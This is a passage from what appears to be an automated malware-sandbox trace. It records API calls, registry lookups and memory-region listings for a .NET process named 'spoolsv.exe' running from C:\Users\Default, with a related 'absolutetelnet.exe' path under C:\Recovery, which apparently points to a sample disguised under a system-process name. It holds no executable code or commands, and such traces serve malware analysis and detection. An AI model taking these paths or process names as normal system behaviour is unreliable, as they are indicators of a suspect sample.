pToken=0x1afafbf0 | out: pToken=0x1afafbf0) returned 0x0 [0278.189] CObjectContext::QueryInterface () returned 0x0 [0278.189] CObjectContext::GetCurrentThreadType () returned 0x0 [0278.189] Release () returned 0x0 [0278.189] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0278.190] CoUninitialize () [0288.640] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x1afae018 | out: phkResult=0x1afae018*=0x0) returned 0x2 [0288.641] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0288.648] GetFullPathNameW (in: lpFileName="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe", nBufferLength=0x105, lpBuffer=0x1afaeb50, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe", lpFilePart=0x0) returned 0x43 Thread: id = 473 os_tid = 0x874 Thread: id = 503 os_tid = 0x8f0 Thread: id = 546 os_tid = 0x9ac Thread: id = 547 os_tid = 0x9b0 Thread: id = 548 os_tid = 0x9b4 Thread: id = 566 os_tid = 0x9fc [0282.876] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0282.877] CoGetContextToken (in: pToken=0x1b59fb10 | out: pToken=0x1b59fb10) returned 0x0 [0282.877] CObjectContext::QueryInterface () returned 0x0 [0282.878] CObjectContext::GetCurrentThreadType () returned 0x0 [0282.878] Release () returned 0x0 [0282.878] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0282.878] CoUninitialize () Thread: id = 567 os_tid = 0xa00 [0282.880] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0282.881] CoGetContextToken (in: pToken=0x1b78f950 | out: pToken=0x1b78f950) returned 0x0 [0282.881] CObjectContext::QueryInterface () returned 0x0 [0282.881] CObjectContext::GetCurrentThreadType () returned 0x0 [0282.881] Release () returned 0x0 [0282.881] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0282.881] CoUninitialize () Process: id = "91" image_name = "spoolsv.exe" filename = "c:\\users\\default\\spoolsv.exe" page_root = "0x21a30000" os_pid = "0x5e8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "76" os_parent_pid = "0x4e8" cmd_line = "C:\\Users\\Default\\spoolsv.exe " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fc5b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 7488 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 7489 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 7490 start_va = 0x190000 end_va = 0x28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 7491 start_va = 0x11c0000 end_va = 0x1295fff monitored = 1 entry_point = 0x128d67e region_type = mapped_file name = "spoolsv.exe" filename = "\\Users\\Default\\spoolsv.exe" (normalized: "c:\\users\\default\\spoolsv.exe") Region: id = 7492 start_va = 0x77950000 end_va = 0x77af8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 7493 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 7494 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7495 start_va = 0x7feffc70000 end_va = 0x7feffc70fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 7496 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 7497 start_va = 0x7fffffd8000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 7498 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 7499 start_va = 0x290000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 7500 start_va = 0x7fefa650000 end_va = 0x7fefa6befff monitored = 1 entry_point = 0x7fefa651134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 7501 start_va = 0x77730000 end_va = 0x7784efff monitored = 0 entry_point = 0x77745340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 7502 start_va = 0x7fefd9f0000 end_va = 0x7fefda5bfff monitored = 0 entry_point = 0x7fefd9f2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 7533 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 7534 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 7535 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 7539 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7540 start_va = 0x290000 end_va = 0x38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 7541 start_va = 0x480000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 7542 start_va = 0x500000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 7661 start_va = 0x600000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 7735 start_va = 0x7fefed40000 end_va = 0x7fefee1afff monitored = 0 entry_point = 0x7fefed60760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7736 start_va = 0x7fefec30000 end_va = 0x7fefeccefff monitored = 0 entry_point = 0x7fefec325a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 7737 start_va = 0x7fefecd0000 end_va = 0x7fefeceefff monitored = 0 entry_point = 0x7fefecd60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7738 start_va = 0x7fefde20000 end_va = 0x7fefdf4cfff monitored = 0 entry_point = 0x7fefde6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 7739 start_va = 0xb0000 end_va = 0x10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 7740 start_va = 0x600000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 7741 start_va = 0x7a0000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 7894 start_va = 0x7fef6e10000 end_va = 0x7fef6eb8fff monitored = 1 entry_point = 0x7fef6e11010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 7895 start_va = 0x7fefa640000 end_va = 0x7fefa642fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 7896 start_va = 0x7fefdda0000 end_va = 0x7fefde10fff monitored = 0 entry_point = 0x7fefddb1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 7897 start_va = 0x7fefe960000 end_va = 0x7fefe9c6fff monitored = 0 entry_point = 0x7fefe96b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 7898 start_va = 0x77850000 end_va = 0x77949fff monitored = 0 entry_point = 0x7786a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 7899 start_va = 0x7fefe5f0000 end_va = 0x7fefe5fdfff monitored = 0 entry_point = 0x7fefe5f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 7900 start_va = 0x7fefe680000 end_va = 0x7fefe748fff monitored = 0 entry_point = 0x7fefe6fa874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 8018 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 8019 start_va = 0x100000 end_va = 0x10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 8020 start_va = 0x820000 end_va = 0x9a7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000820000" filename = "" Region: id = 8021 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 8022 start_va = 0x7fefdc70000 end_va = 0x7fefdc9dfff monitored = 0 entry_point = 0x7fefdc71010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 8023 start_va = 0x7fefe180000 end_va = 0x7fefe288fff monitored = 0 entry_point = 0x7fefe181064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 8024 start_va = 0x9b0000 end_va = 0xb30fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009b0000" filename = "" Region: id = 8025 start_va = 0x12a0000 end_va = 0x269ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000012a0000" filename = "" Region: id = 8026 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 8027 start_va = 0xb0000 end_va = 0xb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 8028 start_va = 0x290000 end_va = 0x35ffff monitored = 1 entry_point = 0x35d67e region_type = mapped_file name = "spoolsv.exe" filename = "\\Users\\Default\\spoolsv.exe" (normalized: "c:\\users\\default\\spoolsv.exe") Region: id = 8029 start_va = 0x380000 end_va = 0x38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 8216 start_va = 0x290000 end_va = 0x35ffff monitored = 1 entry_point = 0x35d67e region_type = mapped_file name = "spoolsv.exe" filename = "\\Users\\Default\\spoolsv.exe" (normalized: "c:\\users\\default\\spoolsv.exe") Region: id = 8217 start_va = 0x7fefca60000 end_va = 0x7fefca6bfff monitored = 0 entry_point = 0x7fefca61064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 8234 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8235 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8236 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8237 start_va = 0x7fefa780000 end_va = 0x7fefa795fff monitored = 0 entry_point = 0x7fefa78c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 8238 start_va = 0x7fefa6c0000 end_va = 0x7fefa77cfff monitored = 0 entry_point = 0x7fefa747db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 8270 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 8276 start_va = 0xd0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 8285 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 8291 start_va = 0x7fe949f0000 end_va = 0x7fe949fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe949f0000" filename = "" Region: id = 8295 start_va = 0x7fe94a00000 end_va = 0x7fe94a0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a00000" filename = "" Region: id = 8307 start_va = 0x7fe94a10000 end_va = 0x7fe94a9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a10000" filename = "" Region: id = 8308 start_va = 0x7fe94aa0000 end_va = 0x7fe94b0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94aa0000" filename = "" Region: id = 8309 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 8310 start_va = 0x110000 end_va = 0x110fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 8337 start_va = 0xb40000 end_va = 0xd7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Region: id = 8338 start_va = 0xb40000 end_va = 0xccffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Region: id = 8339 start_va = 0xd00000 end_va = 0xd7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d00000" filename = "" Region: id = 8348 start_va = 0xee0000 end_va = 0xfdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ee0000" filename = "" Region: id = 8349 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 8354 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 8355 start_va = 0x26a0000 end_va = 0x1a69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000026a0000" filename = "" Region: id = 8356 start_va = 0x1a6a0000 end_va = 0x1aa1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a6a0000" filename = "" Region: id = 8357 start_va = 0xb40000 end_va = 0xc40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Region: id = 8358 start_va = 0xc50000 end_va = 0xccffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c50000" filename = "" Region: id = 8386 start_va = 0x1090000 end_va = 0x118ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001090000" filename = "" Region: id = 8387 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 8392 start_va = 0x1ab90000 end_va = 0x1ac8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ab90000" filename = "" Region: id = 8393 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 8398 start_va = 0xd80000 end_va = 0xe7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d80000" filename = "" Region: id = 8435 start_va = 0x1ac90000 end_va = 0x1af5efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 8672 start_va = 0x7fef2a50000 end_va = 0x7fef404cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 8683 start_va = 0x7fefdf50000 end_va = 0x7fefe152fff monitored = 0 entry_point = 0x7fefdf73330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 8684 start_va = 0x290000 end_va = 0x30cfff monitored = 0 entry_point = 0x29cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8685 start_va = 0x290000 end_va = 0x30cfff monitored = 0 entry_point = 0x29cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8686 start_va = 0x7fefd790000 end_va = 0x7fefd79efff monitored = 0 entry_point = 0x7fefd791010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 8761 start_va = 0x7fefc1f0000 end_va = 0x7fefc245fff monitored = 0 entry_point = 0x7fefc1fbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 8762 start_va = 0x1af60000 end_va = 0x1b1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af60000" filename = "" Region: id = 8809 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 8810 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 8821 start_va = 0x7fe94b10000 end_va = 0x7fe94b8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94b10000" filename = "" Region: id = 8838 start_va = 0x7fe94b90000 end_va = 0x7fe94b9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94b90000" filename = "" Region: id = 8839 start_va = 0x7fe94ba0000 end_va = 0x7fe94baffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94ba0000" filename = "" Region: id = 8875 start_va = 0x7fefbbc0000 end_va = 0x7fefbbc2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 8894 start_va = 0x7fef5ab0000 end_va = 0x7fef5bfefff monitored = 1 entry_point = 0x7fef5ab1090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 8895 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 8935 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 8936 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 8937 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 8938 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 8939 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 8940 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 9003 start_va = 0x1aa20000 end_va = 0x1ab7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aa20000" filename = "" Region: id = 9017 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9031 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9032 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 9033 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 9077 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9104 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9118 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9133 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9144 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9161 start_va = 0x290000 end_va = 0x2f1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorrc.dll") Region: id = 9182 start_va = 0x700000 end_va = 0x73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 9183 start_va = 0x1b040000 end_va = 0x1b13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b040000" filename = "" Region: id = 9184 start_va = 0x1b140000 end_va = 0x1b1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b140000" filename = "" Region: id = 9185 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 9186 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 9327 start_va = 0x1b280000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b280000" filename = "" Region: id = 9328 start_va = 0x7fefd190000 end_va = 0x7fefd1a7fff monitored = 0 entry_point = 0x7fefd193b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 9329 start_va = 0x7ffffefc000 end_va = 0x7ffffefdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefc000" filename = "" Region: id = 9330 start_va = 0x130000 end_va = 0x174fff monitored = 0 entry_point = 0x131064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9331 start_va = 0x130000 end_va = 0x174fff monitored = 0 entry_point = 0x131064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9332 start_va = 0x130000 end_va = 0x174fff monitored = 0 entry_point = 0x131064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9333 start_va = 0x130000 end_va = 0x174fff monitored = 0 entry_point = 0x131064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9334 start_va = 0x130000 end_va = 0x174fff monitored = 0 entry_point = 0x131064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9335 start_va = 0x7fefce90000 end_va = 0x7fefced6fff monitored = 0 entry_point = 0x7fefce91064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9336 start_va = 0x7fefd840000 end_va = 0x7fefd853fff monitored = 0 entry_point = 0x7fefd8410e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 9426 start_va = 0x1b4a0000 end_va = 0x1b59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4a0000" filename = "" Region: id = 9427 start_va = 0x7ffffefa000 end_va = 0x7ffffefbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefa000" filename = "" Region: id = 9434 start_va = 0x1b5b0000 end_va = 0x1b6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5b0000" filename = "" Region: id = 9435 start_va = 0x7ffffef8000 end_va = 0x7ffffef9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef8000" filename = "" Region: id = 9436 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9486 start_va = 0x1b840000 end_va = 0x1b93ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b840000" filename = "" Region: id = 9487 start_va = 0x7ffffef6000 end_va = 0x7ffffef7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef6000" filename = "" Region: id = 9512 start_va = 0x7fef1de0000 end_va = 0x7fef2a4efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 9529 start_va = 0x7fef58b0000 end_va = 0x7fef5aa4fff monitored = 1 entry_point = 0x0 region_type = 